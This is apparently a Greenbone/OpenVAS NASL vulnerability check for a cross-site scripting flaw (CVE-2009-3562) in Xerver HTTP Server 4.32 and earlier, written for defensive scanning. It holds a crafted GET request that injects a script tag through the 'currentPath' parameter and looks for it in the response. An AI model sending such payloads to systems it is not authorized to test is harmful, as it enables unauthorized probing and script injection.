Xerver HTTP Server <= 4.32 XSS Vulnerability

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
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# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:xerver:xerver";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801015");
  script_version("2024-03-08T15:37:10+0000");
  script_tag(name:"last_modification", value:"2024-03-08 15:37:10 +0000 (Fri, 08 Mar 2024)");
  script_tag(name:"creation_date", value:"2009-10-21 10:12:07 +0200 (Wed, 21 Oct 2009)");
  script_tag(name:"cvss_base", value:"2.6");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:N/I:P/A:N");

  script_cve_id("CVE-2009-3562");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Xerver HTTP Server <= 4.32 XSS Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_xerver_http_server_detect.nasl");
  script_require_ports("Services/www", 32123);
  script_mandatory_keys("xerver/http/detected");

  script_tag(name:"summary", value:"Xerver HTTP Server is prone to a cross-site scripting (XSS)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The flaw is due to improper sanitization of user supplied input
  passed via 'currentPath' parameter (when 'action' is set to 'chooseDirectory') to the
  administrative interface.");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to execute
  arbitrary HTML and script code in a user's browser session in context of an affected site.");

  script_tag(name:"affected", value:"Xerver version 4.32 and prior on all platforms.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"http://secunia.com/advisories/36681");
  script_xref(name:"URL", value:"http://www.milw0rm.com/exploits/9718");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
  exit(0);

url = "/action=chooseDirectory&currentPath=''>><script>alert('XSS-By-Stack')</script>";

if (http_vuln_check(port: port, url: url, pattern: "XSS-By-Stack", check_header: TRUE)) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);